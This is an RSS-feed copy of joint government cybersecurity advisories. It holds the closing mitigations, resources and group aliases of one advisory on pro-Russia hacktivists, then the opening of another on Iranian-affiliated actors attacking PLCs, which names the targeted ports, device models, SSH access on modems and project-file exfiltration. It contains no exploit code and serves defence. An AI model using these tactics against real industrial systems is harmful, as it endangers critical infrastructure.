<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure]]></title>
<description><![CDATA[Advisory at a Glance



Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-a...]]></description>
<link>https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:12:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Advisory at a Glance</strong></h2>
<table>
<tbody>
<tr>
<th>Title</th>
<td>Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</td>
</tr>
<tr>
<th>Original Publication</th>
<td><strong>April 7, 2026</strong></td>
</tr>
<tr>
<th>Last Update </th>
<td><strong>July 22, 2026</strong></td>
</tr>
<tr>
<th>Executive Summary</th>
<td>The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.</td>
</tr>
<tr>
<th>Last Update Description</th>
<td>This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.</td>
</tr>
<tr>
<th>Affected Products</th>
<td>Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.</td>
</tr>
<tr>
<th>Key Actions</th>
<td>
<ul type="square">
<li>Install PLCs consistent with manufacturers' guidelines and security best practices.</li>
<li>Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.</li>
<li>Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, especially traffic originating from foreign hosting providers.</li>
<li>For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.</li>
</ul>
</td>
</tr>
<tr>
<th>Indicators of Compromise</th>
<td>
<p>For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (July 2026) (29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (July 2026) (30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" title="AA26-097A STIX XML">AA26-097A STIX XML</a> (36 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" title="AA26-097A STIX JSON">AA26-097A STIX JSON</a> (12 KB)<br> </li>
</ul>
</td>
</tr>
<tr>
<th>Intended Audience</th>
<td>
<p><strong>Organizations:</strong> Critical Infrastructure</p>
<p><strong>Sectors: </strong><a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> </p>
<p><strong>Roles: </strong>Integrators, asset owners, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/defensive-cybersecurity" title="Defensive cybersecurity analysts">defensive cybersecurity analysts</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/operational-technology-ot-cybersecurity-engineering" title="OT cybersecurity engineers">OT cybersecurity engineers</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/cybersecurity-architecture" title="cybersecurity architects">cybersecurity architects</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/secure-systems-development" title="secure systems developer">secure systems developer</a></p>
</td>
</tr>
</tbody>
</table>
<h2><strong>Introduction</strong></h2>
<p><strong>Note:</strong><em> This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by</em> <em>Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.</em></p>
<p>The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files<a href="https://www.cisa.gov/#Note1"><sup>1</sup></a> and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.</p>
<p>The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a> (to include local municipalities), <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors. The authoring agencies previously reported on similar activity targeting PLCs by <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="CyberAv3ngers">CyberAv3ngers</a> (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).</p>
<p>Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the <a href="https://www.cisa.gov/#Mitigations"><strong>Mitigations</strong></a> section of this advisory to reduce the risk of compromise.</p>
<p>If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see <a href="https://www.cisa.gov/#Contact"><strong>Contact Information</strong></a>) to receive support, mitigation, and investigation assistance.</p>
<p>For more information on Iranian malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a> webpage and the FBI’s <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="Iran Threat">Iran Threat</a> and Iran <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Iran Cyber Threat">Cyber Threat Overview</a> webpages.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-07/aa26-097a-iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure_508c.pdf" class="c-file__link" target="_blank">Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.09 MB
  )</span>
  </div>
</div>
<p><em><strong>(New, July 22, 2026)</strong></em> For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul type="square">
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (XML, 29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (JSON, 30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" class="c-file__link" target="_blank">AA26-097A.stix_.xml</a>
    <span class="c-file__size">(XML,       35.97 KB
  )</span>
  </div>
</div>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" class="c-file__link" target="_blank">AA26-097A.stix_.json</a>
    <span class="c-file__size">(JSON,       11.87 KB
  )</span>
  </div>
</div>
<h2><strong>Background Information</strong></h2>
<h3><strong>Similar Historical Activity Targeting Programmable Logic Controllers</strong></h3>
<p>During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.</p>
<p>For more information on this group’s activity, see the joint Cybersecurity Advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>.</p>
<h3><strong>Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers</strong></h3>
<p>The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.</p>
<p><em><strong>(New, July 22, 2026) </strong></em>At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.</p>
<p>Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">WWS</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank" title="MITRE ATTACK Matrix for Enterprise">MITRE ATT&amp;CK<sup>®</sup> Matrix for Enterprise</a> framework, version 19. See the <a href="https://www.cisa.gov/#MITRE"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>Initial Access</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [<a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0883">T0883</a>]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, as well as targeting modems on port <code>22</code>. Targeted devices include:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> CompactLogix and Micro850 PLCs</li>
<li><strong>Schneider Electric:</strong> BMX P34/Modicon M340 PLCs</li>
<li><strong>Siemens:</strong> S7-1200 series PLCs</li>
</ul>
<h3><strong>Command and Control</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The targeting of ports [<a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a>] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port <code>22</code> [<a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a>].</p>
<h3><strong>Exfiltration</strong></h3>
<p><em><strong>(New, July 22, 2026) </strong></em>The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [<a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a>].</p>
<h3><strong>Impact</strong></h3>
